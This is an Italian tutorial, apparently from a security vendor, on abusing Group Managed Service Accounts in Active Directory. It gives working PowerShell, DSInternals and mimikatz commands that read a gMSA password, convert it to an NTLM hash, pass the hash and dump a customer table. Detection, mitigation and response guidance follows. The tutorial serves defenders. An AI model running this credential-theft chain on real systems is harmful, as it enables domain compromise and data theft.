Attacco agli Account di Servizio Gestiti di Gruppo

Tutorial sull'attacco: Come funziona l'attacco con Group Managed Service Accounts

PASSAGGIO 1: Scoprire un gMSA sfruttabile

Innanzitutto, un avversario deve identificare i gMSA che può sfruttare. Un avversario deve aver compromesso o un account con i permessi per modificare i permessi del gMSA o un account con i permessi per leggere la password del gMSA. (L'account computer per qualsiasi sistema che utilizza legittimamente il gMSA ha la capacità di leggere la password dall'Active Directory. Qualsiasi processo in esecuzione come utente NT AUTHORITY\SYSTEM ha quindi la possibilità di accedere alla password del gMSA.)

In questo esempio, un avversario ha sfruttato una vulnerabilità in un popolare sistema di gestione dei contenuti (CMS) che permette l'esecuzione di codice remoto sul server web. Hanno scoperto che il CMS configurato male è in esecuzione come NT AUTHORITY\SYSTEM e hanno enumerato le identità sotto cui altri siti web sul server stanno funzionando, trovando il gMSA SvcCustomerWeb$.

      PS C:\Windows\system32> whoami

nt authority\system

PS C:\Windows\system32> Import-Module WebAdministration

PS C:\Windows\system32> Get-ChildItem "IIS:\AppPools" | Foreach-Object {

>> $AppPoolName = $_.Name; (Get-Item "IIS:\AppPools\$($_.Name)").processModel |

>> Select @{Name = "AppPoolName"; Expression = {$AppPoolName}}, identityType, userName }

AppPoolNameidentityTypeuserName

-------------------------------

.NET v4.5ApplicationPoolIdentity

.NET v4.5 ClassicApplicationPoolIdentity

ContentManagementSystem LocalSystem

CustomerWebsiteSpecificUserSvcCustomerWeb$

DefaultAppPoolApplicationPoolIdentity

PS C:\Windows\system32>
      

PASSAGGIO 2: Compromettere la password gMSA

Next, the adversary needs to render the gMSA's 256-byte password (the equivalent of 256 characters), which is composed entirely of random bits, into a usable format. They can either convert the random bytes into a usable password or convert it to a NTLM hash, which can then be used with Pass-the-Hash or Overpass-the-Hash techniques. The DSInternals PowerShell module provides the ConvertFrom-ADManagedPasswordBlob and ConvertTo-NTHash cmdlets for these purposes.

      PS C:\Windows\system32> Install-Module -Name DSInternals -Force

PS C:\Windows\system32> Import-Module DSInternals

# Acquire gMSA password

PS C:\Windows\system32> $gMSA = ConvertFrom-ADManagedPasswordBlob (Get-ADServiceAccount SvcCustomerWeb -prop 'msDS-ManagedPassword' | Select -expand 'msDS-ManagedPassword')

# Obtain plaintext password as 128 UTF-16 characters. Note: these characters don't render well in PowerShell, so we suggest outputing the password to a file:

# e.g.: $gMSA.CurrentPassword | Out-File gMSAPassword.txt

PS C:\Windows\system32> $gMSA.CurrentPassword

ﻛୄ㫢沬뛩톈ᒰ枭로挴ꦯ黯刳䛹㍶鴝ꠅꨜ♤ཙ㘩惦鷧౨⮎鹲좺ﯞ蓼䩿뻞έ恤ㇴ倹⤇쁻ຌ௫Я딝㌥頪園ᢜ䵼烗ₖ鍥쨼蟎ꠡÑ샄ℳ⽇፬⸗睎능찈숦ﭳⲭ鎚㰽韹땦쪪騌ힾ낝૕鋹员㾶񣉰쟟㳍ْ痪Л፝堪澴캄畩ʛ뛅ꔭ궡٬鹕☑늭颹躱煉㘬ꇶ蓾蕳Ḙ蝅葳⸕獜쑨罹祇諾쨒槖켥ꁼᏣ

# Obtain NTLM hash

PS C:\Windows\system32> ConvertTo-NTHash $gMSA.SecureCurrentPassword

9a9865e4a0412c6a726ec31568cbebc7

PS C:\Windows\system32>
      

PASSAGGIO 3: Utilizzare la password gMSA per ulteriori obiettivi

L'avversario può ora utilizzare le credenziali compromesse per perseguire i propri obiettivi. In questo esempio, l'avversario utilizza overpass-the-hash per autenticarsi al database dei clienti ed esfiltrare un elenco di clienti, le loro informazioni di contatto e i loro hash delle password.

      PS C:\Windows\system32> mimikatz.exe "sekurlsa::pth /user:SvcCustomerWeb$ /domain:domain.com /ntlm:9a9865e4a0412c6a726ec31568cbebc7" exit

# A new command prompt opens

C:\Windows\system32>mssql-cli --server dbserver --username "domain\SvcCustomerWeb$" --integrated --query "SELECT SYSTEM_USER; SELECT * FROM [CustomerApp].[dbo].[Customers];"

+--------------------------+

| (No column name)|

|--------------------------|

| DOMAIN\SvcCustomerWeb$|

+--------------------------+

(1 row affected)

+--------------+-------------+-----------+----------------------------+------------------------------------------+

| customerId| givenName| surName| email| password|

|--------------+-------------+-----------+----------------------------+------------------------------------------|

| 1| Bob| Jones| bjones@stealthbitslab.com| 6367c48dd193d56ea7b0baad25b19455e529f5ee |

| 2| Suzy| Smith| smith@stealthbitslab.com| 5d04c4864322580108f66e0e64c89a9aa31aef56 |

| 3| Amy| Hawkes| ahawkes@stealthbitslab.com | bf8ffd3a80b00c3a8bf9aca2edcae9203ab7837e |

| 4| Jill| Paul| jpaul@stealthbitslab.com| 3e8e521392424218e6e1b12c6d8803ba0a8645cf |

+--------------+-------------+-----------+----------------------------+------------------------------------------+

(4 rows affected)
      

Rileva, Mitiga e Rispondi

Rileva

Difficoltà: Bassa

Può essere difficile rilevare tutte le letture non autorizzate dell'attributo msDS-ManagedPassword, specialmente se avvengono tramite l'account computer. Tuttavia, gli utenti regolari non dovrebbero mai accedere alle password gMSA, quindi monitorare i log degli eventi di Active Directory per l'accesso alle password gMSA da parte di utenti diversi dagli account computer è un'importante rilevazione. Inoltre, è importante anche monitorare gli account gMSA per cambiamenti nei permessi (l'attributo msDS-GroupMSAMembership) relativi alle entità che possono accedere alla password.
L'ID evento 4662 nella sottocategoria Audit Directory Service Access audita informazioni di base sugli utenti che eseguono operazioni all'interno di Active Directory per eventi specificati nella system access control list (SACL).
Utilizzando questo evento, è possibile vedere quando un utente legge una password gMSA. Per identificare questi eventi, filtrare i log degli eventi per:

• Tipo di operazione: Accesso all'oggetto
• Accessi: Proprietà di lettura
• Proprietà: Include il GUID {e362ed86-b728-0842-b27d-2dea7a9df218} Questo è il GUID dell'attributo msDS-ManagedPassword.

Mitigare

Difficoltà: Media

Mitigare il rischio di sfruttamento di gMSA è fondamentalmente una questione di difesa dei privilegi di Active Directory che consentono a un avversario di modificare i permessi di gMSA o leggere la password, e adottare altre migliori pratiche per prevenire l'infiltrazione:

• Eseguire regolarmente audit dei permessi per modificare gli account gMSA e adottare con decisione il principio del privilegio minimo necessario.
• Eseguire regolarmente l'audit dell'appartenenza dell'attributo msDS-GroupMSAMembership su ogni gMSA e assicurarsi che solo gli account computer autorizzati abbiano i privilegi per accedere alla password.
• Ricevi allerte in tempo reale sui cambiamenti ai permessi gMSA.

Rispondi

Difficoltà: Media

Se un utente diverso da un account computer autorizzato recupera la password gMSA o si verifica un cambiamento non autorizzato nei permessi gMSA, ci sono diverse azioni che si possono intraprendere per rispondere immediatamente:

• Attiva il processo di risposta agli incidenti e allerta il team di risposta.
• Reimposta la password dell'utente che ha eseguito l'azione e, facoltativamente, disabilita tale utente al fine di a) forzare la replicazione istantanea su tutti i controller di dominio e b) interrompere l'utilizzo di quell'account da parte dell'avversario.
• Reimposta la password per il gMSA interessato.
• Mettete in quarantena le macchine impattate per indagini forensi, nonché per attività di eradicazione e recupero.